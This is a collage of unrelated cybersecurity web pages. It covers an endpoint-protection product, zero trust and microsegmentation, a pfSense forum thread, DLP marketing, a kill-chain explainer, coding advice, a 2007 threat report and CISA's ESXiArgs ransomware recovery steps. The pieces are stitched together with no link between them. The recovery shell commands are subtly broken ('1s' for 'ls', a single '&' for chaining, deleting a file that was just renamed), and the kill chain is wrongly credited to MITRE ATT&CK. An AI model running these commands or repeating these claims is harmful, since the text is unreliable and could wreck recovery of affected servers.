Protects all executable software on the system by detecting any unauthorized activation attempt and preventing the process from launching before damage can occur. Preserves the system in a known-good state.
|D.S.E. (Dynamic Sandbox Execution)||
Specially-designated user account for potentially dangerous software provides system-level privilege controls to block malicious software activity. Also protects the PC from software vulnerabilities.
|D.R.C. (Dynamic Resource Control)||
Controls how different applications can access files and folders, registry keys, external devices, and network resources.
|→ Easy to deploy and manage|
Easily scales to meet the needs of growing businesses.
|Integration with other security solutions||
Operates alongside and can be integrated with other security and network management tools, such as SIEM, IAM, network traffic security, encryption, and traditional antimalware solutions.
|→ Centralized management|
SysWatch Workstation installations can be updated through local server connections.
The built-in remote management console supports remote installation and uninstallation, policy and configuration changes.
The management console enables administrators to remotely make decisions on action to be taken in case of incidents such as attempts to launch unknown applications or breach of security policy or to process incidents automatically. |
- With cyber-attacks and cybercrimes at an all-time high, individuals and businesses are under a massive threat of losing their data and having their details and trade secrets leaked.
- Through AI and machine learning, organizations can save a considerable amount of effort and time on tracking, monitoring, detecting, and working on cyber threats.
- Decreases response time: Unlike humans, AI can go through large chunks of data on a system and check for possible threats to be dealt with.
- Generally perceived as a technology that’s taking over jobs, AI is actually a weapon that cybersecurity personnel can use to protect their organization from cyber threats.
- With the constant development in the technology space, the threat to online data is only likely to rise – making AI a necessity and the only viable option to fight the devil of cyber-attacks for every enterprise.
Read the complete article at: timesofindia.indiatimes.com |
Zero Trust Security Strategy
Today’s networks are complex beasts, and considering yourself a fully zero trust network design is a long journey. It means different things to different people. Networks these days are heterogeneous, hybrid, and dynamic. Over time, technologies have been adopted, from punch card coding to the modern-day cloud, container-based virtualization, and distributed microservices. This complex situation leads to a dynamic and fragmented network along with fragmented processes. The problem is that enterprises over-focus on connectivity without fully understanding security. Just because you connect does not mean you are secure. Unfortunately, this misconception may allow the most significant breaches. As a result, those who can move towards a zero-trust environment with a zero-trust security strategy provide the ability to enable some new techniques that can help prevent breaches, such as zero trust and microsegmentation, zero trust networking. Along with Remote Browser Isolation technologies that render web content remotely.
Zero Trust and Microsegmentation
A key point: zero trust and microsegmentation
The concept of zero trust and micro segmentation security allows organizations to execute a Zero Trust model by erecting secure micro-perimeters around distinct application workloads. Organizations can eliminate zones of trust that increase their vulnerability by acquiring granular control over their most sensitive applications and data. It enables organizations to achieve a zero-trust model and helps ensure the security of workloads regardless of where they are located.
A key point: Control vs. visibility
Zero trust and microsegmentation overcome this with an approach that seeks to provide visibility over the network and infrastructure to ensure you follow security principles such as least privilege. Essentially, you are giving up control but also gaining visibility. This provides the ability to understand all the access paths in your network. For example, within a Kubernetes environment, administrators probably don’t know how the applications connect to your on-premises data center or get Internet connectivity visibility. Hence, one should strive to give up control for visibility to understand all the access paths. Once all access paths are known, you need to review them in an automated manner consistently.
Zero Trust Security Strategy
The move to zero trust security strategy can assist in gaining the adequate control and visibility needed to secure your networks. However, it consists of a wide spectrum of technologies from multiple vendors. For many, embarking on a zero trust journey is considered a data- and identity-centric approach to security instead of what we originally viewed as a network-focused journey.
Zero Trust Security Strategy: Data-Centric Model
Zero trust and microsegmentation
In pursuit of zero trust and microsegmentation, it is recommended to abandon traditional perimeter-based security and focus on the zero trust reference architecture and its data. One that understands and maps data flows can then create a micro perimeter of control around their sensitive data assets to gain visibility into how they use data. Ideally, you need to identify your data and map its flow. Many claims that zero trust starts with the data. And the first step to building a zero trust security architecture is identifying your sensitive data and mapping its flow.
We understand that you can’t protect what you cannot see; gaining the correct visit of data and understanding the data flow is critical. However, securing your data, even though it is the most important step, may not be your first zero trust step. Why? It’s a complex task.
Start a zero trust security strategy journey
For a successful Zero Trust Network ZTN, I would start with one aspect of zero trust as a project recommendation. And then work your way out from there. When we examine implementing disruptive technologies that are complex to implement, we should focus on outcomes, gain small results and then repeat and expand.
A key point. Zero trust automation
This would be similar to how you may start an automation journey. Rolling out automation is considered risky. It brings consistency and a lot of peace of mind when implemented correctly. But at the same time, if you start with advanced automation use cases, there could be a considerable blast radius. As a best practice, I would start your automation journey with config management and continuous remediation. And then move to move advanced use cases throughout your organization. Such as edge networking, full security ( Firewall, PAM, IDPS, etc.), and CI/CD integration.
A key point: You can’t be 100% zero trust
It is impossible to be 100% secure. You can only strive to be as secure as you can without hindering agility. It is similar to that embarking on a zero-trust project. It is impossible to be 100% zero trust as this would involve turning off everything and removing all users from the network. We could use single-packet authorization without sending the first packet!
Do not send a SPA packet
When doing so, we would keep the network and infrastructure dark without sending the first SPA packet to kick off single-packet authentication. However, lights need to be on, services need to be available, and users need to access the services without too much interference. Users expect some downtime. Nothing can be 100% reliable all of the time. Then you can balance velocity and stability with practices such as Chaos Engineering Kubernetes. But users don’t want to hear of a security breach.
A key point. What is trust?
So the first step toward zero trust is to determine a baseline. This is not a baseline for network and security but a baseline of trust. And zero trust is different for each organization, and it boils down to the level of trust; what level does your organization consider zero trust? What mechanism do you have in place? There are many avenues of correlation and enforcement to reach the point where you can call yourself a zero trust environment. It may never become an overall zero trust environment but is limited to certain zones, applications, and segments that share a common policy and rule base.
A key point: Choosing the vendor
Also, can zero trust security vendors be achieved with a single vendor regarding vendor selection? In reality, no one should consider implementing zero trust with one vendor solution. However, many of the zero trust elements can be implemented with a SASE definition. Known as Zero Trust SASE. In reality, there are too many pieces to a zero-trust project, and not one vendor can be an expert on all of them. Once you have determined your level of trust and what you expect from a zero-trust environment, you can move to the main zero-trust element and follow the well-known zero-trust principles. Firstly, automation and orchestration. You need to automate, automate and automate.
Zero Trust Security Strategy: The Components
Automation and orchestration
Zero trust is impossible to maintain without automation and orchestration. Firstly, you need to have identification of data along with access requirements. All of this must be defined along with the network components and policies. So if there is a violation, here is how we reclaim our posture without human intervention. This is where automation comes to light; it is a powerful tool in your zero trust journey and should be enabled end-to-end throughout your enterprise.
An enterprise-grade zero trust solution must work at high speed with the scaling ability to improve the automated responses and reactions to internal and external threats. This is the automation and orchestration stage which is about defining and managing the micro perimeters to provide the new and desired connectivity. For a platform approach to automation, Ansible architecture consists of Ansible Tower and the Ansible Core based on the CLI.
Zero trust automation
With the matrix of identities, workloads, locations, devices, and data continuing to grow more complicated, automation provides a necessity. And you can have automation in different parts of your enterprise and at different levels. You can have pre-approved playbooks stored in a Git repository that can be version controlled with a Source Control Management system (SCM). Storing playbooks in a Git repository puts all playbooks under source control, so everything is better managed. Then you can use different security playbooks already approved for different security use cases. Also, when you bring automation into the zero trust environments, the Ansible variables can be used to separate site-specific information from the playbooks. This will be your playbooks more flexible. You can also have a variable specific to the inventory known as the Ansible inventory variable.
- Schedule zero trust playbooks under version control
For example, you can kick off a playbook to run at midnight daily to check that patches are installed. If there is a deviation from a baseline, the playbook could send notifications to relevant users and teams.
Ansible Tower: Delegation of Control
I use Ansible Tower, which has a built-in playbook, scheduling, and notifications for many of my security baselines. I can combine this with the “check” feature so less experienced team members can run playbook “sanity” checks and don’t have the need or full requirement to perform change tasks. Role-based access control can be tightly controlled for even better delegation of control. You can integrate Ansible Towers with your security appliances for advanced security uses. Now we have tight integration with security and automation. Integration is essential; unified automation approaches require integration between your automation platform and your security technologies.
Security integration with automation
For example, we can have playbooks that automatically collect logs for all your firewall devices. These can be automatically sent back to a log storage backend for analysts, where machine learning (ML) algorithms can perform threat hunting and examine for any deviations. Also, I find Ansible Towers workflow templates very useful and can be used to chain different automation jobs into one coherent workflow. So now we can chain different automation events together. Then you can have actions based on success, failure, or always.
A key point – Just alert and not block
You could just run a playbook to raise an alert. It does not necessarily mean you should block. I would only block something when necessary. So we are using automation to instantiate a playbook to bring those entries that have deviated from the baseline back into what you consider to be zero trust. Or we can automatically move an endpoint into a sandbox zone. So the endpoint can still operate but with less access.
Consider that when you first implemented the network access control (NAC), you didn’t block everything immediately; you allowed it to bypass and log in for some time. From this, you can then build a baseline. I would recommend the same thing for automation and orchestration. When I need to block something, I would recommend human approval to the workflow.
Zero Trust Least Privilege, and Adaptive Access
Enforcement points and flows
As you build out the enforcement points, it can be yes or no. Similar to the concept of the firewall’s binary rules and they are the same as some of the authentication mechanisms work. However, you must keep an eye on anomalies regarding things like flows. You must stop trusting packets as if they were people. Instead, they must eliminate the idea of trusted and untrusted networks.
Identity centric design
Rather than using IP addresses to base policies on, zero trust policies are based on logical attributes. This ensures an identity-centric design around the user identity and not the IP address. This is a key component of zero trust, how you can have adaptive access for your zero trust versus a simple yes or no. Again, following a zero trust identity approach is easier said than done.
A key point: Zero trust identity approach
With a zero trust identity approach, the identity should be based on logical attributes, for example, the multi-factor authentication (MFA), transport layer security (TLS) certificate, the application service, or the use of a logical label/tag. Tagging and labelling are good starting points, as long as those tags and labels make sense when they flow across different domains. Also, consider the security controls or tagging offered by different vendors.
How do you utilize the different security controls from different vendors, and more importantly, how do you use them adjacent to one another? For example, Palo Alto utilizes an App-ID, a patented traffic classification system. Keep in mind, vendors such as Cisco have end-to-end tagging and labelling when you integrate all of their products, such as the Cisco ACI and SD-Access.
Zero trust environment and adaptive access
Adaptive access control uses policies that allow administrators to control user access to applications, files, and network features based on multiple real-time factors. Not only are there multiple factors to consider, but these are considered in real time. What we are doing is responding to potential threats in real time by continually monitoring user sessions for a variety of factors. We are not just looking at IP or location as an anchor for trust.
- Pursue adaptive access
Anything tied to an IP address is useless. Adaptive access is more of an advanced zero trust technology, which likely comes later in the zero trust journey. Adaptive access is not something you would initially start with.
Zero Trust and Microsegmentation
VMware introduced the concept of microsegmentation to data center networking in 2014 with VMware NSX micro-segmentation. And it has grown in usage considerably since then. It is difficult to implement and requires a lot of planning and visibility. Zero trust and microsegmentation security enforce the security of a data center by monitoring the flows inside the data center. The main idea is that in addition to network security at the perimeter, data center security should focus on the attacks and threats from the internal network.
Small and protected isolated sections
With zero trust and microsegmentation security, the traffic inside the data center is differentiated into small isolated parts, i.e., micro segments depending on the traffic type and sensitivity level. A strict micro-granular security model that ties security to individual workloads can be adopted. Security is not simply tied to a zone; we are going right to the workload level to define the security policy. By creating a logical boundary between the requesting resource and protected assets, we have minimized lateral movement elsewhere in the network, gaining east west segmentation.
Zero trust and microsegmentation
It is often combined with micro perimeters. By shrinking the security perimeter of each application, we can control a user’s access to the application from anywhere and any device without relying on large segments that may or may not have intra-segment filtering.
- Use case: Zero trust and microsegmentation: 5G
Micro segmentation is the alignment of multiple security tooling along with aligning capabilities with certain policies. One example of building a micro perimeter into a 5G edge is with containers. The completely new use cases and services included in 5G bring large concerns as to the security of the mobile network. Therefore, require a different approach to segmentation.
Micro segmentation and 5G
In a 5G network, a micro segment can be defined as a logical network portion decoupled from the physical 5G hardware. Then we can chain several micro-segments chained together to create end-to-end connectivity that maintains application isolation. So we have end-to-end security based on micro segmentation, and each micro segment can have fine-grained access controls.
- A key point: Zero trust and microsegmentation: The solutions
A big proposition for enabling zero trust is micro segmentation and micro perimeters. Their use must be clarified upfront. Essentially, their purpose is to minimize and contain the breach (when it happens). Rather than using IP addresses to base segmentation policies, the policies are based on logical constructs. Not physical attributes.
Monitor flows and alert
Ideally, favour vendors with micro segmentation solutions that monitor baseline flows and alert on anomalies. These should also assess the relative level of risk/trust and alert on anomalies. They should also continuously assess the relative level of risk/trust on the network session behaviour observed. This may include unusual connectivity patterns, excessive bandwidth, excessive data transfers, and communication to URLs, or IP addresses with a lower level of trust.
Micro segmentation in networking
The level of complexity comes down to what you are trying to protect. This can be something on the edges, such as a 5G network point, IoT, or something central to the network. Both of which may need physical and logical separation. A good starting point for your micro segmentation journey is to build a micro segment but not in enforcement mode. So you are starting with the design but not implementing it fully. The idea is to watch and gain insights before you turn on the micro segment.
Containers and Zero Trust
Let us look at a practical example of applying the zero trust principles to containers. There are many layers within the container-based architecture to which you can apply zero trust. For communication with the containers, we have two layers. Nodes and services in the containers with a service mesh type of communication with a mutual TLS type of solutions. The container is already a two-layer. We have the nodes and services. The services communicate with an MTLS solution to control the communication between the services. Then we have the application. The application overall is where you have the ingress and egress access points.
The OpenShift secure route
OpenShift networking SDN is similar to a routing control platform based on Open vSwitch that operates with the OVS bridge programmed with OVS rules. OVS networking has what’s known as a route construct. These routes provide access to specific services. Then, the service acts as a software load balancer to the correct pod. So we have a route construct that sits in front of the services. This abstraction layer along with the OVS architecture brings many benefits to security.
Firstly, the service is the first level of exposing applications, but they are unrelated to DNS name resolution. To make servers accepted by FQDN, we use the OpenShift route resource, and the route provides the DNS. In Kubernetes’s words, we use Ingress, which exposes services to the external world. However, in Openshift, it is a best practice to use a routing set. Routes are an alternative to Ingress.
OpenShift security: OpenShift SDN and the secure route
One of the advantages of the OpenShift route construct is that you can have secure routes. Secure routes provide advanced features that might not be supported by standard Kubernetes Ingress controllers, such as TLS re-encryption, TLS passthrough, and split traffic for blue-green deployments. Securing containerized environments is considerably different from securing the traditional monolithic application because of the inherent nature of the microservices architecture. A monolithic application has few entry points, for example, ports 80 and 443.
Not every monolithic component is exposed to external access and is required to accept requests directly. Now with a secure openshift route, we can implement security where it matters most and at any point in the infrastructure.
Context Based Authentication
For zero trust, it depends on what you can do with the three different types of layers. The layer you want to apply zero trust depends on the context granularity. For context based authentication, you need to take in as much context as possible to make access decisions, and if you can’t, what are the mitigating controls? You can’t just block. We have identity versus the traditional network-type parameter of controls. If you cannot rely on the identity and context information, you rely on and shift to network-based controls as we did initially. Network-based controls have been around for decades and create holes in the security posture.
However, suppose you are not at a stage to implement access based on identity and context information. In that case, you may need to keep the network-based control and look deeper into your environment where you can implement zero trust to regain a good security posture. This is a perfect example of why you implement zero trust in isolated areas.
- Examine zero trust layer by layer
So it would help if you looked layer by layer for specific use cases and then at what technology components you can apply zero trust principles. So it is not a question of starting with identity or micro segmentation. The result should be a combination of both. However, identity is the key jewel to look out for and to take in as much context as real-time to make access decisions and keep threats out.
Take a data-centric approach. Zero trust data
It is imperative to gain visibility into the interaction between users, apps, and data across many devices and locations. This allows you to set and enforce policies irrespective of location. A data-centric approach takes location out of the picture. It comes down to “WHAT,” and this is always the data. What are you trying to protect? So you should build out the architecture method over the “WHAT.”
Zero Trust Data Security
Step 1: Identify your sensitive data
You can’t protect what you can’t see. Everything managed desperately within a hybrid network needs to be fully understood and consolidated into a single console. Secondly, once you know how things connect, how do you ensure they don’t reconnect through a broader definition of connectivity? You can’t just rely on IP addresses anymore to implement security controls. So here, we need to identify and classify sensitive data. By defining your data, you can identify sensitive data sources to protect. Next, simplify your data classification. This will allow you to segment the network based on data sensitivity. Start with a well-understood data type or system when creating your first zero trust micro perimeter.
Step2: Zero trust and microsegmentation
Micro segmentation software that segments the network based on data sensitivity
Secondly, you need to segment the network based on data sensitivity. Here we are defining a micro perimeter around sensitive data. Once you determine the optimal flow, identify where to place the micro perimeter. Keep in mind that virtual networks are designed to optimize network performance; they can’t by themselves prevent malware propagation, lateral movement, or unauthorized access to sensitive data. Similar to the VLAN, it was used for performance but became a security tool.
A final note: Firewall micro segmentation
Enforce micro perimeter with physical or virtual security controls. There are multiple ways to enforce micro perimeters. For example, we have NGFW from a vendor like Check Point, Cisco, Fortinet, or Palo Alto Networks. If you’ve adopted a network virtualization platform, you can opt for a virtual NGFW to insert into the virtualization layer of your network. You don’t always need an NGFW to enforce network segmentation; software-based approaches to microsegmentation are also available. |
Floating rules interface ignored?
I recently upgraded from pfSense 1.2.3 to 2.01. I am now in the process of rebuilding my traffic shaping policies and have run into a few problems that I just can't seem to figure out. My secondary problem is this:
I have a floating rule to queue traffic in my qVOIP queue that specifies the OPT1 and WAN as the input interface for VoIP packets, and a destination port number (IAX2 protocol) to match. When I place a test call from my VoIP system on the lan out to the wan, I see the traffic being queued in the qVOIP for both lan and wan queue, when I expect to see it just in the lan queue, since packets going out the wan originated from the lan and should not match the floating rule.
What am I missing?
Erm.. Because communication works both ways?
A connection is 2 way traffic. You have your voice going out and also the recipient of the call transmitting their voice back to you. It follows that you should see traffic coming in on WAN as well.
traffic is going in both directions, but it should only match the floating rule in the direction coming in from the WAN and out the LAN, so the LAN's qVOIP queue should should only show traffic. The traffic passing out the WAN should go to the WAN's default queue.
But I am seeing the traffic in both direction passing through each interfaces qVOIP. What am I missing here?
Do you have a rule on the LAN tab that references the VOIP traffic? Or do you have a NAT rule that does?
Those rules have the capability to affect the queue that traffic is sent to.
Also, if you actually have a NAT rule for the VOIP traffic, you can use the associated firewall rule to pipe the traffic into the queue you want rather than to create a floating rule.
The closest thing I have to a NAT rule is a 1:1 NAT forward using an WAN alias IP address, and an associated WAN rule to allows the port and address. As I understand it, the floating rules are executed first, tagging the queue then the usual rules for the interface the packet is entering on run, stopping on a match. Is this correct?
Is it possible that the direction (source and destination) of floating rules are interpreted differently for ports defined as LAN vs WAN?
Also, do firewall states effect floating rules, possibly adding a rule for the other direction/interface through the state table?
The Definitive Guide to pfSense book is a great resource, but there have been a lot of changes (traffic shaping to be sure) that need updating in the book. Will an update to the book be available any time soon to cover the new traffic shaping in 2.0? |
In the business world of today, a data breach can cause damage of all kinds to a company. The repercussions of such an incident can include loss of customers and clients, damage to the brand and reputation, and of course, major financial losses. While it is impossible to completely eliminate risk altogether, there are many tools available that can be used to help decrease it. One such tool is what is known as Data Loss Prevention, or DLP. By implementing a DLP product(s), your organization can be sure it is taking a vital step towards protecting its data.
Before explaining how DLP technologies work, let’s first run through a few of the reasons why an organization would need DLP and explore what exactly DLP is. Data breaches have become commonplace in the news media, but generally these stories tend to focus on external attacks from criminals or governments. However, a data breach can (and does!) occur as a result of an insider threat too, even in cases where it is unintentional. These insider threats, along with an increase in sensitive data such as intangible assets and more compliance regulations to contend with, require a modern solution that organizations can leverage to protect themselves. DLP addresses all of these concerns.
DLP refers to a set of software tools and processes which work to ensure that sensitive or critical information is not lost, misused, or accessed without authorization. After data is prioritized and classified by an organization, DLP rules are set up that can monitor and control the intended or unintended sharing of data. If one of these rules is violated, then the DLP software will jump in to remediate the issue through protective actions such as alerts, permission denials, encryption, etc. For example, if an employee were to try to send an email containing a 16-digit credit card number, a DLP rule could detect that potentially sensitive information is attempting to be shared and then might notify the sender with a warning, alert the security team, or even prevent the email from being sent altogether.
There are a variety of DLP deployment solutions that work to protect data at rest, in motion, and in use. Examples of the primary architectures are email, endpoint, network, discovery, and cloud DLP. Your organization may require the use of one, some, or all of these, so it is important to define your objectives and determine which are the most appropriate for your use case. In any case, DLP products work in two methods: contextual analysis, and content analysis based on string matches. Exploring the specifics of how these methodologies function can get quite technical and in-depth, so for now just realize that it involves things such as file checksum analysis and lexicon matches.
In sum, as our world continues to collect and store ever-increasing amounts of data, it is more important than ever to take every step possible to minimize risk. Since total elimination of risk isn’t possible, making use of the tools available to help your organization be proactive in protecting its data should be a top priority. Don’t wait until it’s too late and the damage has already been done – take steps today to protect your data tomorrow.
Let CyberData Pros help you understand where your data sits, access control, and how to protect that data. Contact us now for a free consultation and to learn more about our services. |
What is the Mitre ATT&CK Framework?
The Mitre ATT&CK Framework describes the techniques, tactics and procedures that hackers use to carry out cyberattacks. An important concept from the Mitre ATT&CK framework is the “Kill Chain,” which is a model that describes stages or phases that an attacker typically follows when conducting a cyberattack. This model helps organizations understand and defend against cyber threats by listing them as steps below.
Kill Chain model
There are seven steps and I included briefly what is “done” during each step. Note that although it is listed as a step-by-step model it is not linear. Attackers can move back and forth between stages.
- Reconnaissance– Attackers gather information about the target. They might use social media, websites, or public databases to understand the target environment, employees, and their systems.
- Weaponization– attackers create a malicious payload, like a virus or worm. They use tools and techniques to package the payload in a way that can exploit vulnerabilities in the target’s systems.
- Delivery– Attackers send the weaponized bundle to the victim. This could be through phishing emails, malicious downloads, or other methods to ensure the target receives the malware.
- Exploitation– The malicious code gets executed on the victim’s system. This could be by tricking a user to click on something or by exploiting a software vulnerability.
- Installation– After exploitation, the malware installs itself to maintain persistence. This means it ensures it remains in the system even after reboots or attempts to remove it.
- Command and Control (C2)– The malware establishes a backdoor to the attacker, allowing remote control over the infected system. This way, attackers can issue commands, extract data, or further spread inside the network.
- Action on Objectives– This is the endgame. Having infiltrated the system, attackers now pursue their goals. This could be data theft, deploying ransomware, causing system disruption, or any other malicious intent.
While we can never fully eliminate cyber threats, however by understanding how attackers operate and the techniques they use, organizations can better prepare and defend against cyber-attacks. They can also better detect attacks and respond efficiently to mitigate risks, and impact of security incidents.1 |
Which of the following allows a network administrator to implement an access control policy based on individual
user characteristics and NOT on job function?
Attribute-based access control allows access rights to be granted to users via policies, which combine attributes
together. The policies can make use of any type of attributes, which includes user attributes, resource attributes
and environment attributes. |
Author: DigitalOcean Introduction Config Server Firewall (or CSF) is a free and advanced firewall for most Linux distributions and Linux based VPS. In addition to the basic functionality of a firewall – filtering packets – CSF includes other security features, such as login/intrusion/flood detections. CSF includes UI integration for cPanel, DirectAdmin and Webmin, but this tutorial only covers the command line usage. CSF is able to recognize many attacks, such as port scans, SYN floods, and login brute force attacks on many services. It is configured to temporarily block clients who are detected to be attacking the cloud server. |
Regardless of the kind of programming language or technology stack a developer uses if the following adjectives can be used to describe their code, then it is a sign that they are writing a great code. These are the secret code writing guide to any newbies attempting their hand at code writing or any developer looking to check to measure the effectiveness of their code.
Get ready to check your code writing skills! Following are the adjectives associated with good codes.
One of the things that set apart a great developer from a bad developer is that the former adds logging and tools that enable them to debug the program during instances of failure. All developers should write debuggable codes. All programs require some form of log inbuilt into them so that the programmer can monitor what it is doing. This is especially important in cases when things go wrong.
Most of the modern runtimes enable the user to add a debugger of some type. Eg. Node. js can be debugged with Visual Studio. Having said that, the best time to start using a debugger is when you don’t have a problem.
Debugging alone would not ensure that a developer’s code is the problem- free. The code can face several problems such as it may run somewhere else, maybe serverless, may run on a cloud somewhere, may be distributed or multithreaded. In such environment, the code may not function the same on the developer’s computer.
It is in such instances the need for a logging framework becomes clearer. The developer needs to write the code and set up the logging in a readable or digestible way. This needs to become a part of the developer’s software. If the developer does not do this, they end up doing production deployments to use logging code for debugging a production problem.
A good code requires unit tests to be written. If the developer has any codes that have no tests, the first step is to write tests as they modify the code. Even if it requires restructuring something to make it testable, it is better than having a code with no test. A software that is testable is broken down into intelligible functions that can easily do verifiable things. A testable software functions better and is also more resilient.
If something can’t happen, then it shouldn’t. In this context, it means that if the code doesn’t work it should immediately exit with an error message. This would result in the problem being fixed immediately and will not cause any further errors downstream. An example of a unreliable code is if (myvar == null) myvar =””;. This kind of code will lead the developer to an intermittent behavior. Intermittent behavior will create suspense till everything backfires in a time of need.
The code should display Idempotent behavior. This means that if the developer alters a line in the debugger to see if it fixes the problem and returns to the beginning of that routine, the process will work out properly. Thus, an Idempotent code will result in a predictable software that does not create data messes.
Immutability has been achieved by functional codes. When the developer has a variable, it gets assigned once and then alters the result in a new data structure. It is also possible to achieve immutability even if the developer is not writing functional code.
A code which is immutable is resilient and keep away from all types of thread masses. There are some low-level reasons that can render immutable codes undesirables for special cases. But those reasons do not apply in the normal business code that most developers indulge in.
Readability of the code is very important. Some developers chose to forget it when functional programming came into vogue. The primary focus of the compiler is to make codes that can be read by the compiler. Similarly, a developer should make codes that can be read by any person.
Every developer while writing a class, function or module should consider the fact that things can change. There is always the possibility that the code might require an additional piece of data like context or security information. Some codes aren’t really modifiable except by the person who wrote it which poses a problem to the next developer down the line.
A great code by large self-documents itself. This is about the naming of the variable, class & function and design of the code. It is also about JavaDoc. The developer should rethink their design if they can’t document their code and what it does without having to refer to hundreds of other things.
A code is considered good if it can be logically broken down into parts that can be run and modified independently, probably with some sort of harness that delivers the required prerequisite data.
In cases where other developers cannot grab the developer’s code from Git and run the build, then the particular build needs reworking. The developers build also needs work if it requires a weeklong, multihour and multiday process. It is quite taxing when the build needs to be fought by every new team member when the developer gets a new computer or during an important release. |
According to Symantec Malaysia, the biggest security issues faced in the country during 2007 were from spam and virtualisation.
- Spam — Symantec’s Internet Security Threat Report Vol XII reported that 77 per cent of total spam in Asia Pacific & Japan originated in Malaysia. Globally, spam reached new record levels this year. Image spam declined while PDF spam emerged. Greeting-card spam was also responsible for delivering Storm Worm malware (also known as Peacomm). Spam was on a steady decline until it rebounded in June, and steadily climbed through the end of the year, hitting an all-time high of 70.5 per cent in October.
- Virtual machine security implications — Businesses have increasingly adopted virtualisation technology to maximise hardware usage, increase scalability and lower total cost.
Symantec has found some key potential vulnerabilities of virtualisation technology:
- Escape from virtualised environments — In a worst case scenario, a threat may utilise a vulnerability in a guest operating system to break out and attack the host operating system.
- Use of virtualisation by malicious code — This is considered one of the most advanced Rootkit methods. Research projects such as SubVirt, BluePill and Vitriol demonstrate how this might be achieved.
- Detection of virtualised environments — Software virtual machines are relatively easy to detect. Malicious code may use this knowledge to exploit a known vulnerability in the virtual environment.
- Denial of service — Attackers can crash the Virtual Machine Monitor (a software) or a component of it, leading to a complete or partial denial of service.
CW Malaysia here |
In today’s digital landscape, where cyber threats are evolving at an alarming rate, traditional security measures are no longer sufficient to protect sensitive data and networks. Zero Trust is a cybersecurity approach that focuses on maintaining strict access controls and continuous verification of users and devices within a network. The concept behind Zero Trust is that organizations should not automatically trust any user or device, even if they are operating from within the corporate network perimeter. Instead, all entities attempting to access resources should be constantly validated and authorized based on various factors, such as identity, location, device health, and behavior.
Artificial Intelligence (AI) is poised to play a pivotal role in bolstering Zero Trust frameworks. AI-powered security systems can continuously monitor and analyze vast amounts of data to identify patterns, detect anomalies, and predict potential breaches. Machine Learning algorithms can learn from historical data, enabling systems to recognize and respond to emerging threats in real-time. By leveraging AI, organizations can enhance their ability to detect and mitigate sophisticated cyber attacks, minimizing the risk of data breaches.
Passwords have long been a weak point in security architectures, susceptible to hacking and exploitation. Biometric authentication, on the other hand, offers a more secure and user-friendly alternative. Technologies such as facial recognition, fingerprint scanning, and iris scanning are gaining traction in the Zero Trust landscape. Biometrics provide a unique and personalized identifier for each individual, making it significantly more difficult for unauthorized users to gain access. Integrating biometric authentication into Zero Trust frameworks enhances identity verification and strengthens overall security posture.
The proliferation of Internet of Things (IoT) devices brings about new challenges in maintaining a Zero Trust environment. IoT devices often have limited computing power and lack robust security measures, making them susceptible to compromise. However, integrating Zero Trust protocols into IoT networks can help mitigate these risks. Implementing strict access controls, device authentication mechanisms, and continuous monitoring can ensure that only trusted devices and connections are allowed within the network. By securing interconnected devices and networks, Zero Trust principles can effectively safeguard critical IoT deployments.
Continuous Adaptive Risk and Trust Assessment (CARTA)
As cyber threats become increasingly sophisticated and dynamic, traditional security approaches based on predefined rules and static controls are becoming less effective. Continuous Adaptive Risk and Trust Assessment (CARTA) is an emerging framework that aligns well with Zero Trust principles. CARTA frameworks leverage real-time monitoring, analytics, and automation to dynamically assess risks and trust levels. By continuously evaluating user behavior, devices, and network conditions, organizations can adapt their security posture in real-time, encouraging proactive threat response and reducing the attack surface.
Areas where the above technologies can be used
- Banking and Finance
- Health Care
- Retail and E-commerce
- Smart Cities
- Manufacturing and Industrial sector
- Transportation and Logistics
The future of Zero Trust lies in the convergence of emerging technologies and trends that reinforce its effectiveness and adaptability in the face of evolving cyber threats. AI-powered security, biometric authentication, blockchain technology, IoT integration, and CARTA frameworks are poised to play critical roles in enhancing Zero Trust architectures. As organizations strive to protect their sensitive data and networks, it is imperative to embrace these technological advancements and stay ahead of the rapidly changing threat landscape. By adopting these emerging technologies, organizations can bolster their defenses, minimize the risk of data breaches, and ensure a more secure digital future.
How SecurDI can help
SecurDI is focused on exploring the emerging technologies and trends shaping this groundbreaking approach. From AI-powered security and biometric authentication to blockchain integration and IoT safeguards, our team is extended to research on how these innovations enhance Zero Trust architectures. Understand the power of Continuous Adaptive Risk and Trust Assessment in dynamically assessing risks and responding to threats in real-time. Staying ahead of evolving cyber threats and ensuring a secure digital future with the convergence of these cutting-edge technologies. |
The missile compares the ground with information stored in its memory
As the missile approaches its target, the final and most accurate guidance system takes over.
Digital Scene Matching Area Correlation (DSMAC) compares what it can see on the ground with a digital rendition of its target.
This technology is complicated and expensive but has been shown to work.
But it is only as good as the intelligence that underpins it. It will never stop a missile hitting a long-abandoned target building or a civilian shelter if the targeting information is not up to date. |
The Cybersecurity and Infrastructure Security Agency (CISA), USA, has put out a script to retrieve VMware ESXi servers that were encrypted in the recent widespread ESXiArgs ransomware attacks.
ESXiArgs-Recover can help regain access to virtual machines (VM) and several files. Since the effectiveness of the recovery script cannot be confirmed on all systems, the tool can help reconstruct virtual machine metadata from virtual disks that were not impacted by the ransomware ESXiArgs.
A widespread ESXiArgs ransomware attack that started last Friday has been aimed at exposed VMware ESXi servers, with 2,800 servers being encrypted since. Agenzia per la Cybersicurezza Nazionale (ACN), Italy’s national cybersecurity agency, issued a global warning about a massive ransomware attack on Sunday.
CISA’s Recovery Script ESXiArgs-Recover
Cybersecurity & Infrastructure Security Agency (CISA) made the ESXiArgs-Recover recovery script available on February 7. Inputs from third-party researchers and tutorials by Enes Sonmez were added to it. The ransomware recovery script can be applied as follows:
- Downloading and saving the recovery script as /tmp/recover.sh
- Allow the permission to execute the script: chmod +x/tmp/recover.sh
- Run 1s /vmfs/volumes/datastore1 to browse and decrypt folders
- Run 1s to view files to make a note of the VM.
- Adding the name of the virtual machine in the name here – /tmp.recover.sh [name], run this CISA recovery script.
After running the ransomware recovery script, one will know whether the virtual machine can be recovered or not. If the ESXiArgs-Recover script runs successfully, one will need to re-register the virtual machine.
To remove the ransom note, move it to the ransom.html file and regain access to the ESXi web interface, the following steps is advised:
- Run: cd /usr/lib/vmware/hostd/docroot/ui/ & mv index.html ransom.html & mv index1.html index.html
- Run: cd /usr/lib/vmware/hostd/docroot & mv index.html ransom.html & rm index.html & mv index1.html index.html
- Reboot the ESXi server to navigate to the web surface minutes after.
- Navigate to the virtual machines page in the ESXi web interface
- If the restored virtual machine already exists, unregister it by right-clicking on the VM and selecting Unregister.
- Next, click on Create/ Register VM.
- Choose: Register an existing virtual machine
- To access the restored VM folder, click: Select one or more virtual machines, a datastore or a directory
- Select the vmx file from the folder.
- Click Next > Finish. This will allow complete access to the virtual machine.
